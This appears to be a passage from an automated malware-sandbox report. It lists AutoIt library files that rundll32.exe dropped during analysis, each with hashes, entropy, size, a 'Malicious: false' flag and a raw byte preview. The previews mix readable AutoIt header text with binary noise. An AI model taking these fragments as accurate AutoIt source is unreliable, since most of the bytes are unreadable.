Preview:	....-=...nB..3/`Q..J_.F.u.D>...!Y....~.\.4%.{bsu,.d..;#..W.s.au3"..#include "GuiHeader.au3"..#include "ListViewConstants.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include ...;-.H.CN..MC.....S....t.X/....tH}......E..+.I$8;R.a..#3....WinAPIConv.au3"..#include "WinAPIGdi.au3"..#include "WinAPIGdiDC.au3"..#include "WinAPIHObj.au3"..#include "WinAPIMisc.au3"..#in....x{.S.Aq..\QD....+ .J.4.C(....=.i...T.].#k.Pd4W-.*.tBL....NDEX# =======================================================================================================================..;...=y..^......PR..R\|.F.Z..l..........r...q6..9+.v...Eo...Q.age ......: English..; Description ...: Functions that assist with ListView control management...; A ListView c....4y.IPa...WF....G^.G.$.Z-...t.G...t.G.>c.Uc.[+.(..,...B.m consists of an icon and a label...; ListView controls provide several ways to arrange and display items. For ....4<...dE..PM.....HL.Q.6._#....;.\..

C:\Program Files (x86)\AutoIt3\Include\GuiMenu.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61900
Entropy (8bit):	6.1886992915368815
Encrypted:	false
SSDEEP:	768:dkWTG6NnGXGZXOnjEzU/vviIj6jKTRfTjVzCbYvOft/IwPfQUyp7vHhMrSWjn5cg:SjvQa+5cFdoE4R+DB6
MD5:	24DDFB0BCD88F950254A0683980C6476
SHA1:	CF45316ADA7E2FF6CA39D198B32CD766F8E648A7
SHA-256:	F87D5CD73D40E83D1E30384E734723530E04034620933378ABFD64E9238D0466
SHA-512:	7A190B879C877C7D834D7A1BDB62C215C15443FF73D85061C898A2A18BD8CDF46C955DF3DF3F72F290B52E962E3168D5DBBB7AF779F472FFF3DFC2CA26F989BA
Malicious:	false
Preview:	..h........Y..!B...'..s[<R-.Ql..."....8......p..F...F:v.treConstants.au3"..#include "WinAPIConv.au3"..#include "WinAPIMisc.au3"..#include "WinAPISysInternals.au3"....; #INDEX# =========..;......\.i...?...Vo.....o.S.."..Sl..Y......ZW.8.[....r(.<==============================================..; Title .........: Menu..; AutoIt Version : 3.3.16.1..; Language ......: English..=.........;...,...-'....QP!...^k....8..DK.A......%.....Xox.oagement...; A menu is a list of items that specify options or groups of options (a submenu) for an application...j.........o..."...Kr.....r.N.Zq....4...L.[...G..g.....Fov.tses the application to carry out a command...; Author(s) .....: Paul Campbell (PaulIA)..; ======================================..;......\.i...?...Vo.....o.S.."..Sl..Y......ZW.8.[....r(.<=========================....; #CONSTANTS# =====================================================================================..;......\.i...?...Vo.....od.Sp..N.

C:\Program Files (x86)\AutoIt3\Include\GuiMonthCal.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40050
Entropy (8bit):	6.310878011203905
Encrypted:	false
SSDEEP:	768:ujeWLKdj+qXoeH+9mjn6DazDnCt7Z38dEOa8nvbg5TLxTQMK5Pe09z9g1GgBVQ/+:u/KuxfhsHGXWGXBhsFaF1ki
MD5:	D4ACCFA4C415A49E6B1607B6F4A8D9BA
SHA1:	B548C96C3180630A70F88D82235ABAED4BED0FBC
SHA-256:	2E1ED1FB91604861182F7732C3C4A01BCDED1D8881E8C16253C4C03F3E3AAAE3
SHA-512:	2C1941F6E465EB1B856DDD83104DADE1AC40726D4DBDA0B0A8DAE3FF13C77072CC1F36BA754AC2938C8304AFBF8958D2F65EACC4DB69F915D9F193D5D7CC0FDC
Malicious:	false
Preview:	k.........%..I.....6......3....A...........@...gr%.n.M.%..CtrlInternals.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.).....Z...$.f..............jo.f.........Z...j.`b.k.^.o^.include "WinAPISysInternals.au3"....; #INDEX# ==================================================================================u.........}..y....g........ZX..{..`..........c...'?g...R.<.alendar..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with MonthCalendar co&.....Z...-..0....z........GE..f..+......R.(.G.{1.d..S.t.mplements a calendar-like user interface. This provides the user with a very..; intuitive and recogniza......[...&.......=..........fO......J...V...M.{~%.k..SB$.ovides the application..; with the means to obtain and set the date information in the control using existing ,.......Q..J........r.......G5......

C:\Program Files (x86)\AutoIt3\Include\GuiReBar.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	67447
Entropy (8bit):	6.2531084444189995
Encrypted:	false
SSDEEP:	1536:2z8dNSFVAFIl8cdT5+w2WFJ6ft5pLEXWyo+:A8aeI9dd+wB/6FL5yB
MD5:	F0C0F2469FF229D360B84C8743F71CD6
SHA1:	83EB2DAED424900877B37D8E3CF968EC326E23CF
SHA-256:	059F5F7FE2401964596857CDC40668D9EBD394D1CD6DF0C31D5943854DE071F8
SHA-512:	9208426B24162F48C972C347DB7D80173A16309E968A21866F2B52AC3E00960672FA8711EB406FF0D07E38F0DCC582673A2AC81294FCB590EDFCB4AFD165E64E
Malicious:	false
Preview:	.a..j....c~O.\|..2...".4.............5.l.>..`v ..nqXK....,..Unry.au3"..#include "RebarConstants.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3....o...h=....IA... .$........>.n.(...::l.DpUQ..>.,...hnclude "WinAPISysInternals.au3"....; #INDEX# ===================================================================================.5..;W....0 ..K.5,..s.m...........Z."..9G..}z...)1...\.Nl..5.; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Rebar control management.....&J....-=..V.(1....2...........3.".mH.'5D.ul.A..kHf..\!windows. An application assigns child windows,..; which are often other controls, to a rebar control band. Reba.(..h...-~E...a....+.?............].9..m...st...'?...\kJ`.]`ch band can have any combination of a gripper bar, a bitmap, a text label, and a child window...; However, band.(..h....bs^...(\|...n.8..........'.l

C:\Program Files (x86)\AutoIt3\Include\GuiRichEdit.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	209303
Entropy (8bit):	6.595812967800456
Encrypted:	false
SSDEEP:	3072:GhhPUNuI0N4AEvsj4HtdJtqwYwIShJF0decS8:GhhP2Q70s+9qwxISZ0decN
MD5:	91D8FDED312644F9FEF061726B430CA9
SHA1:	79D0785B751E23D5795A2BBCAA4FACB7E5248DF1
SHA-256:	B72C724781AFAF2ED2DA68510AF5F263BB75E4B418708F796B89D17333C73702
SHA-512:	27FE30921BE58612108A371DED80BCDA75136C0682D85598A341D71CC8F412D41861BFFDF052387117A474E0A8EB257C7CA214D8C89FE012CF7BBE58364F83D1
Malicious:	false
Preview:	.M ...?T :..?zU...gKN....V.5.o...NXK...@m.a.._..N..;[.Q#........ts.au3"..#include "FileConstants.au3"..#include "GUICtrlInternals.au3"..#include "RichEditConstants.au3"..#include "SendMessage..Q}...xXc6..>.....\|PN....5...r...\.N.WD~E....]..^..N=.r&.-.....u3"..#include "WinAPIConv.au3"..#include "WinAPIHobj.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ======================..s...f.0h.gJb...3.....GK.K.;......Y[Nr.V.....&D..wXr......=================================..; Title .........: Rich Edit..; AutoIt Version : 3.3.16.1..; Language ......: English..; Desc.M>...5.#{.z'-..oH@.......b...}CL.D#.&.K.._..T...B.t?.'..........: GaryFrost, grham, Prog@ndy, KIP, c.haslam..; OLE stuff .....: example from http://www.powerbasic.com/support/pbforums/sho.T!..+Y}j..hNk...(UB........1.......Y[Nr.V.....&D..wXr......=================================================================================================....; #VARIABLES# =============..s...f.0h.gJb...3.....GK.K.;......Y[N

C:\Program Files (x86)\AutoIt3\Include\GuiScrollBars.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	24990
Entropy (8bit):	6.425272171473491
Encrypted:	false
SSDEEP:	384:uiO+vblC4dlTmdLHelDlV9lc/PlnlYetb6ODAb2lzl7syli8/wY+527lUy:ayPsmhVfc/dlYkJx7sui8/wH52JUy
MD5:	6BE64E03E4086953BA03396768F3B891
SHA1:	206AD1D08EC400A0842DF5BF7B1ECE3360086D9B
SHA-256:	24735012FEEE4E89AEF711BF19CECB4D50767C6F94F2EF6E8EA5CB717A205EC7
SHA-512:	7B15579431DE882AF4705FEC1B2E50F2C4A516D062EC33834743A72F29770FF1E945663E360CBE9D26607F5A107044299BF656507AEFB2901E7E3A5495095DA5
Malicious:	false
Preview:	...J,...O..g...!.N.g.8....T...P$.G.......gj8.-.... ....N*39).tructureConstants.au3"....; #INDEX# ============================================================================================..I.}.....I?......]9.pF.......'U2.P..K.'0e.l.PmFT..1uvX~.oIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with ScrollBar management...; .T.`.....TC...Y.K.$.,....i...Of.S......lzk.$..V"]Q....Un7ky.w button at each end and a scroll box (sometimes called a thumb)..; between the arrow buttons. A scroll bar rep...L....H.Tm.J.K@h.#...h...X2.....E..}.k....Av.Q....L'8}d.'s client..; area, the scroll box represents the portion of the object that is visible in the client area. The ...@4...O.Tv..!..@$.m[...'...S.f........kq3./..LeOK....U+ \|y.the user scrolls a data object to display a different portion of it. The system also adjusts..; the size of a s...E,......Tq...G...k.m....o....Hf.[...

C:\Program Files (x86)\AutoIt3\Include\GuiSlider.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27089
Entropy (8bit):	5.994535084242408
Encrypted:	false
SSDEEP:	768:irPriJtudUP0jpcofjCw6X1232rQu4GJwIpXy11VHNg+9cDUV+o5bG:+jil8W+RVG
MD5:	B0A2BC685F9E9260CB59BB6B8A4B3983
SHA1:	BFA56CF3CF88E2F83A39E242F6F6C8C9B9B1C73A
SHA-256:	AA400B6EFB5D7DDCEDB6E082DB21FE436F8FAFC2FEB1A5E4162ADA5A5AFD9B6C
SHA-512:	A83FE4BE1A6339269A66377A927EF51734F3863259FDC11D1E6ED3EC452E908621C1EBD670839E252AEDF3E414C84344B7A974E7627F25D85DEA384C8227531C
Malicious:	false
Preview:	...uqZ^...P.S..r,".B....S,..`k.0}.....K...9..X1\|c:......7.stants.au3"..#include "StructureConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#include "WinAPISysIntern...Qxq..-..9.~.6K. .....N3..32.h3F.....E....j...h$~%p..Z..e.=============================================================================..; Title .........: Slider..; AutoIt Version : 3.3...Q(.4...p].+.../eV.....SK..bf.=.q...S....9...{#c^8.....+.that assist with Slider Control "Trackbar" management...; Author(s) .....: Gary Frost (gafrost)..; =============================...B$9....,..c..E2vE.....N3..32.h3F.....E....j...h$~%p..Z..e.==================================....; #VARIABLES# ============================================================================...B$9....,..c..E2vE.....N3..32.h3F.....?..w..r2F+K....0..U...; ============================================================================================================================...r..4...R\|....6[.[.....N3..32.h3F....

C:\Program Files (x86)\AutoIt3\Include\GuiStatusBar.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28779
Entropy (8bit):	6.211052818283278
Encrypted:	false
SSDEEP:	768:6akZ0uoSsXZeVFIIpdIXO35mJn3ensuT9jGXUdVIdGLbdO2Y6aQZahQjzdqTav3/:6akZSSsXgVu0IX6UJn3K7RTdSdG3du/k
MD5:	16CF27B1DD51FA52FD34B611E35B4001
SHA1:	1CE65F125C5BC9883AE06032AE10E72C2A1C1800
SHA-256:	EDCC9762DC56E9B5FE37BA53A4BC6F3C3A17BC698FAC53A462722555BC0928F4
SHA-512:	0A49B4ECB91BEED38E55EF88F733A688ACAC9A9B2A041ED9591A55FB47A0FB3CD18BB028936D00B98CB21CD1D909F7733349EF2DD89ECF8262A47E66218B09A9
Malicious:	false
Preview:	.&.......`....4.?..i.a.....0...$.3(c..E[,.MpI^....0..h\|..4>rry.au3"..#include "SendMessage.au3"..#include "StatusBarConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#.!.......X..?.wRL..i.h.....,lA.B..\|m2..s-n.Coyi.O..a.0a..ln =====================================================================================================..; Title .........: Status........H{.2..hdG..h.-..@....oqR.B...,...Q.m.P\|jz.H.2..d/T.[h=Description ...: Functions that assist with StatusBar control management...; A status bar is a horizontal windo.o......m....S!Z.f.}....01..?..)mf..^U,.^34$....(..c\|_.?syisplay..; various kinds of status information. The status bar can be divided into parts to display more than o.......74.[^..!...'.-..S...?.....,e..;.v.?'0<...u.#r..ksMaul Campbell (PaulIA)..; =======================================================================================================.r.......2.FC..<...:.0..~....y\|5.....T.

C:\Program Files (x86)\AutoIt3\Include\GuiTab.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38512
Entropy (8bit):	6.258532055447539
Encrypted:	false
SSDEEP:	768:D1M2fu8yqezSIvvE2J8OgjlhOW6lQM2IjZ1SrD8VyQNQCZT7MxC5MaNRTPdbbpKM:DO8y9SIj8NAjZyQ1Q6Tj1bIQ0mEW
MD5:	6D11264947DA276D5B7CB59C6DB9695D
SHA1:	ABAE2D9E1A31F4BA39C8B467899683E3E412BD5B
SHA-256:	2A6164FC2A13FB7E3E00C331EE9FFF2CBC23DB75A4B44B46719C67FA07B08DEA
SHA-512:	DFA52C29973E882F6B2120620DB79332075E9F0FF910D99CF3CFB492D2C609E09BF2F55BEBAC019E1CB1760FFAD10182AD0CBF0C8DE5CD329535D182E68FD7AF
Malicious:	false
Preview:	..4g!.......rq..o{...f^l..4..f.+.1xI....\..W.....DYr.T.....ry.au3"..#include "SendMessage.au3"..#include "TabConstants.au3"..#include "UDFGlobalID.au3"..#include "WinAPIConv.au3"..#includ.xS$....!...Q...n....}Ye.......K...-yn...S....q..?........X# =======================================================================================================================..; Ti..?$c...G.R.E[...M..gHf....}..e.1..oU......F.#.............age ......: English..; Description ...: Functions that assist with Tab control management...; A tab control is ..;h"...I.......({..vHz....<..~.'.;a....U....r....\i.P..... cabinet. By using a tab..; control, an application can define multiple pages for the same area of a wind..z$"........[..#j..ZV[j....<.....e.t........U.0...DZi.X..... a certain type of information or a group of controls that the application displays when the user..; selects ..?$............lf.T.02....5...y.e.z$.

C:\Program Files (x86)\AutoIt3\Include\GuiToolTip.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41162
Entropy (8bit):	6.202304284195996
Encrypted:	false
SSDEEP:	768:Y3dxStzN9NNGEseQabMBLpurelxjujiwxfIL:Y3dG+EVbMBArbI
MD5:	5F8AF981BB476C674E4C5D57D82044BC
SHA1:	4D1D108B8FDE50F5F0C334ABB255CA17C1841C8B
SHA-256:	36EEC612C8D672F6215710C1F35C048AFE02BDC7988E01DE36B6DCB0F1CE8FC4
SHA-512:	3F2E457554C30856F51B5435AC4472AA8F198A2F92FCF1A968A91AA9431046AE61C1BD4E578F1FFD9D529F97C719E8CB2F1C1DBE4F41EAA49E0E52A8CEE9EC4F
Malicious:	false
Preview:	~Y%.J...........e.3.h.-...I...,..T/L...L}%..........B"...bry.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "ToolTipConstants.au3"..#include "WinAPIConv.aun.F..V..R........n\!..n#&..6R.$.p...y$..yp...c...F...._=.^.0==========================================================================================================..; Title .........: T2_'..O.........yi.#.r.h..w..f.h..7Q....S:!-..O...U......c...cs that assist with ToolTip control management...; ToolTip controls are pop-up windows that display text. The t8H?..L..R..Y...Fn.#.\|J<.(..?.7...2Z..I-;!.....@.....B .C.- window, such as a child window or control, or an application-defined rectangular area within a window's client..; }.k..............M.$.r.`..d..f.p..j:\...A4#&..J......h;.^.0============================================================================================================================....f.h..m..\|.......1Um. Wu..y..u.c...f..

C:\Program Files (x86)\AutoIt3\Include\GuiToolbar.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	80333
Entropy (8bit):	6.0585078095791784
Encrypted:	false
SSDEEP:	768:ns54UMXf/znG+ERDXdjz3m75U1zt4r+JfVki7o0l5c+NS1/2+umrCHwC899Q4TiB:nPFPUd7AQKOS0TJNcum0o9n3vJm
MD5:	760D357A263F5BD6BF33075AD6DE6989
SHA1:	02BEBCC79555316835ACF6856F71B460D4389987
SHA-256:	F83CF845CFBE2154738E3852C302A71D74F0ADED21665E1CC09DDFB7D5E7020A
SHA-512:	83896FFCD40B43B8A2C48B70D188623EEDFB0DE8DACDC63A0645D90A831EAF634EA3B9A57964B3C975A57E10FCDE597B70DA2137270EF7EF6A7692F5EA2E6092
Malicious:	false
Preview:	.z.D...!.Ql....lG;..NaY.B.U.I.fRw~.R..I.%...c..`1XIjW...6#...ry.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "ToolbarConstants.au3"..#include "UDFGlobalID.a. Q....Jk.........a{S...\|.$.-99...I..I.o....a....iiL..Ka]..m#include "WinAPIRes.au3"..#include "WinAPISysInternals.au3"....; #INDEX# =======================================================..N....y...2@...[Yo...).._./..7.e7&$7......6..\|5.~e..;...)S..Z..; Title .........: Toolbar..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist .z.O..+..^}]....=..OuS.....~.U. 9......+..a(.cx.k&V..Fv....s a control window that contains one or more buttons. Each button, when clicked by a user, sends a..; command .v.T...d...{.....7...cT...e..*.!zrzk.L...c...#}.77XY&....4....oolbar correspond to items in the..; application's menu, providing an additional and more direct way for .g.B..7.../......1.Q4....2.z.1izmc.N.

C:\Program Files (x86)\AutoIt3\Include\GuiTreeView.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	118803
Entropy (8bit):	6.3904475935320395
Encrypted:	false
SSDEEP:	1536:3zx3tXnLhRvEBWKY6ZhMW+Mk7kCufRydQ9Zx4tsqvhmJkGNUXa:dpnLhRAFYogkfRydQ9ZwsgoG0UXa
MD5:	75312E6C6B131A7F92BE27B31AD13A36
SHA1:	355AD19A2CB110DE3F44C7BD4C4418DC1BA05296
SHA-256:	8BEE7E09E413A2238C62758147B0FCC7BEA9FDCB23C8489CAEAA144ED566417C
SHA-512:	FE112D69894A597B48A0248AB0AAB76C847FC97C6F48267DAC31BC3C66569246B64E52DFF4EBE42B90DA9893590002D6E4622AEBC928D4CAF2B49DFFF7C6AB2C
Malicious:	false
Preview:	T.<..z.....A....._r.\../F'.y.J...~)!....}~x..].,m.[.....3j..W...mageList.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "TreeViewConstantsY.'....V..N...6.)_.x..)Bk.z\B6.U.jl....ivnqE..`!.1.....6z.....nclude "WinAPIGdi.au3"..#include "WinAPIRes.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ===============================J.o..2..Y.....+.A&....v.:..O.~.J/]r.Q.!/6lZ..3].E.....j2..-...========================..; Title .........: TreeView..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ..Y.r..a..V..Q...w.\z.L..?.p.J.....w6&..L.s\|.#.D.c........#!..+... A TreeView control is a window that displays a hierarchical list of items, such as the headings in a document,..;W.r../..D...6.\o.Z..%Wu.[..*.Ws.o....d>+>...f........6a..t...ctories on a disk. Each item consists of a label and an optional..; bitmapped image, and each item can have a l..&..i..J..V...6..h.\..?Fc.I.W+..fNo....

C:\Program Files (x86)\AutoIt3\Include\HeaderConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7327
Entropy (8bit):	6.816573766726783
Encrypted:	false
SSDEEP:	192:C9bpJjZkYZe5tIe/P0CjnSGE5aGVuiYUNcVLNNdc9u+Y+nKQK0jMWS:CdppZJe5uwPrTpEsGoXUNgndy7YjQK5h
MD5:	31A205728D5356FB71DC23E4D538E09F
SHA1:	D06E0636702B4CEB67B7E4AD6C622C2E2AD157DB
SHA-256:	7E48B7807340AC58F975475113353D76C670F4B27E4664837C80161ECBA7BFBF
SHA-512:	256E44B6E8CE94B4BFB836E0D8EAB1E6E3B5B838D2AA97E2F5B7185E102E94AEA38692D32487CD62F64D070BA691C8CF1F23C555C563AA3A7F49C587AFCCB6C7
Malicious:	false
Preview:	.....l.....Pqh....\u.G.R...u}.Y...#..?y".n..u.x.<......g+.)==================================================================================..; Title .........: Header_Constants..; AutoI......a.@...RQ....8.1."....)'..J...0..Gx.:..E*~.E.....3y.4...: Constants for Header functions...; Author(s) .....: Valik, Gary Frost..; ==================================================..Z.S5.....A_....4(..?.L..u}.Y...#..?y".n..u.x.<......g+.)=============....; #CONSTANTS# =================================================================================================..Z.S5.....A_...9.RW.`....&3..@..A...Vd".c.x.u.1.......8w.4Const $HDF_RIGHT = 0x00000001..Global Const $HDF_CENTER = 0x00000002..Global Const $HDF_JUSTIFYMASK = 0x00000003....Global Const...#.1J.z...j3,...sAA.."....xq..T...r...nd\.=..h...G......z+.$x00002000..Global Const $HDF_STRING = 0x00004000..Global Const $HDF_OWNERDRAW = 0x00008000..Global Const $HDF_DISPLAYMASK = 0x00...W.^..#...Z....[gfO.&.5......%..Y..

C:\Program Files (x86)\AutoIt3\Include\IE.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	153769
Entropy (8bit):	6.77705861038386
Encrypted:	false
SSDEEP:	3072:/PSKMWLuPoSWg4krhO3BzNVo3a5NrtdrITNFDCeGJI/I6W7Knd2/XtfRms3fCoIZ:QKxzEhO39bpdrIRq+ZcBmk2FTi1Bm
MD5:	C89491FF0EF10C3C0041ECE8939BB3DA
SHA1:	89002E9141F0E0B87866CE9A5391FC8AFE69C13B
SHA-256:	FDD5D6208971423FCBD375DABCD9573E39E2E3B832702DE0A1E4C09B5C1CD47E
SHA-512:	059D6B89F98B47BC260A70F68D7307CB108FC3ADA7E8EE698B10AAF5A50FB6CA0BBAEF0D5E6318D0CFCFA4DA48E7BCF4ED874045694F77625AC66F8088F24891
Malicious:	false
Preview:	B9.N?..@7W.Y.......Rh\|+h.......V....'.%...K..S.}.A.........onstants.au3"..#include "WinAPIError.au3"....; #INDEX# =========================================================================\m[.n...'.....O....1$6w....l.......n.6B..d..P.z.A..B....4..: Internet Explorer Automation UDF Library for AutoIt3..; AutoIt Version : 3.3.14.5..; Language ......: English..; Description O~H.s..FuT._........Rbz.#....7.......:.lS.G.....z.J.......~.ng from and manipulating Internet Explorer...; Author(s) .....: DaleHohm, big_daddy, jpm..; Dll ...........: user32.dll, ole32.d.<J.<..Dy[.^...x....1$6w....l.......n.6B..T..M..\..Q.....'.=================================================================================....#Region Header..#cs...Title: Internet Exp.?.H!..PnW.[........Nnkj8..#..L.....^..9.J.....)A...BN.....escription: A collection of functions for creating, attaching to, reading from and manipulating Internet Explorer...Author: Da.5.B;./.u.^.........,Sd$....4..P....

C:\Program Files (x86)\AutoIt3\Include\IPAddressConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.52368411472167
Encrypted:	false
SSDEEP:	24:EIFtL3PBckOIgbtDZt7TYMQIfUx2dVqatJCODtAULwZAj9S:ECRiIKtZFGydVqaRD6UMZAxS
MD5:	1031A6E4182F18C2CFC6FD94DC239804
SHA1:	36911A9FC25D6656A78D63CFD991AA7E013C6CDA
SHA-256:	72BD607584844E71E5053373592A7E32CDCA41981BF28D1B0F26166DA576D9BE
SHA-512:	E505EDE4BAC6C121881CACFE0FFC77D924C720AD1F9290CB5523049ABE94B782AE44D85135876B4F74BD03AE138FB5340CDD8946E69EECA3C09CC68FCE651114
Malicious:	false
Preview:	....C..M...G.d...2Q8'.iV...-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4\|.U.yz....>.............p.y`.O.W...e...........Z...J.S:..:_X.......qU..............!d.OP.,k.T.;........U..B....W..t.).t..dC...uH..............oB.RK.SIP].p.F..."......?I..@b..i..)_5@.'(...-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......+.............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-6............\.vb.e3f'...&... ...$z.=z.@..]...6w..L...cO............P.....E\|+...,...'...({.6\|..-{.:_.."Q^......rZ............B.bq.r2.I.v.7...0...(\|.7f..!j.6M.\"^<..3.....1.............N.af.`%g&...H..+...:k.m..#k.:N.].L#.x@....0.............<w..j.l>p1...&...T..$f.9l..%w.*U.]0U:.z^...B...............l.UW..(s9...<...'..S..'a..$`.,I.F?H:.cG...Eh.........

C:\Program Files (x86)\AutoIt3\Include\ImageListConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.574199929875828
Encrypted:	false
SSDEEP:	48:Ifd00FjbJNkUeV6Je8m6nKAuq6n83SJfCyQcIMybFK6L95idvS:AJ3jMm4n83OZqo1vS
MD5:	FA8EA0D04222D2DA63BD83415A576E17
SHA1:	0A38532CAAA29D668B1D7ADB7609058A28B8281F
SHA-256:	4E2F6CBCA2BAC5B38429736B27A62AD0EF685CCE3C898858050A04F32E99F315
SHA-512:	ADB644F1EB3772C559DBEC38368D6855D318E71C76F89C7C1899FB595733D116E0E86C5BF9AAF8B4876AFD4BA0363CED39B2974A7287458DC75D6CEF35D69F93
Malicious:	false
Preview:	..w}J@O.P......v...cmw.q.....A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A.....g.].J...R....8.?......H..J...t.#?...`7@. ..Pj.cN.........R......J#.......H.6.+......A..R.+...l~....O...<..90...B>...........X.zH.J.....Z.u.lV.....?..K.0.h.$w..YC.U.....`>`GD..z.]....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[...G...em`.h.{..A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A...FLQ&E.l.....f.U.Hx.....4....h..fS...._......jj..b.>(.)....A......w......;..M.z.FV...M..a...U....JM....e.)Xc8!%...........j..v.`..H....n.5.......R.:.v..1...M.2.....UQt.._]G.V...L... d_(K.C......._.Ff.....5...h.*.gn..F]0q..:..u>eZE..W./...3......z..W...L......BU.....G..M.x.S.....;"oH..h..a....RME.k......iL]4]....#..c.B.@...4...h....2.....8..&..=Wjvt/4%.)...L....w..".....C.U.kJ.

C:\Program Files (x86)\AutoIt3\Include\Inet.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15506
Entropy (8bit):	6.678566046994568
Encrypted:	false
SSDEEP:	384:/Cy8kSu5UIyiPhHWmEmrUkspxeZ1eI96Ons:Rku5UIh52mEm4Hpx6L6Ons
MD5:	F2A83FB17953DF99DAF757A46E082316
SHA1:	EBB89DA0FDE91C14007AEE09D03775B99E49331C
SHA-256:	6DFBA653C42E81A3CB72117717A16DE187C7927324453F41A8C5E93956CCE4C0
SHA-512:	D911B66CA48DD4C769F8B161D206127215E01A4ED79A8D6AAB05216344B5E660C6B62613572A526197FBCE2DBAC0FB565002A48805EB2BA342E459FD003F9F54
Malicious:	false
Preview:	e...rW.....Nk.vm^...4.:...A..z.............Z..p...3......7.iN3"..#include "StringConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================{..#.......3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.=======..; Title .........: Edit Constants..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Function5...V.....^z... E.?9.*...+.$......t.e....P......)%=.....0.jR, Jarvis Stubblefield, Wes Wolfe-Wolvereness, Wouter, Walkabout, Florian Fida, guinness..; Dll ...........: wininet.dll, ws2_32."...........3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.======================================================================....; #CURRENT# =========================================={..#.......3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.===========..; _GetIP..; _INetExplorerCapable..; _INetGetSource..; _INetMail..; _INetSmtpMail..; _TCPIpToName..; ==============={..#.......3.A]i..KjDr....8.".....;.+

C:\Program Files (x86)\AutoIt3\Include\InetConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1610
Entropy (8bit):	7.4712941462349605
Encrypted:	false
SSDEEP:	48:MWOpPh/dUg3fUIleMWdY20RkAawUrXJG4S:MWsPhVUgPUAeMWT/A3U7g4S
MD5:	A66F8F566DF684217BAD791D4CD1FCEC
SHA1:	877DA08043C0435134907398160A3D6BD838E027
SHA-256:	473DA1AE8475C7A49D4CF025E26842C0852FB7CD88462F25DDCB3D85C0D76106
SHA-512:	BACBB430D17CBAF36C13FE546167652085F748DB45121F7BFE170BA214805F3CA3697D2F526460A3798329DFA3E056ECD006CC461F6362300A5826127B566FE0
Malicious:	false
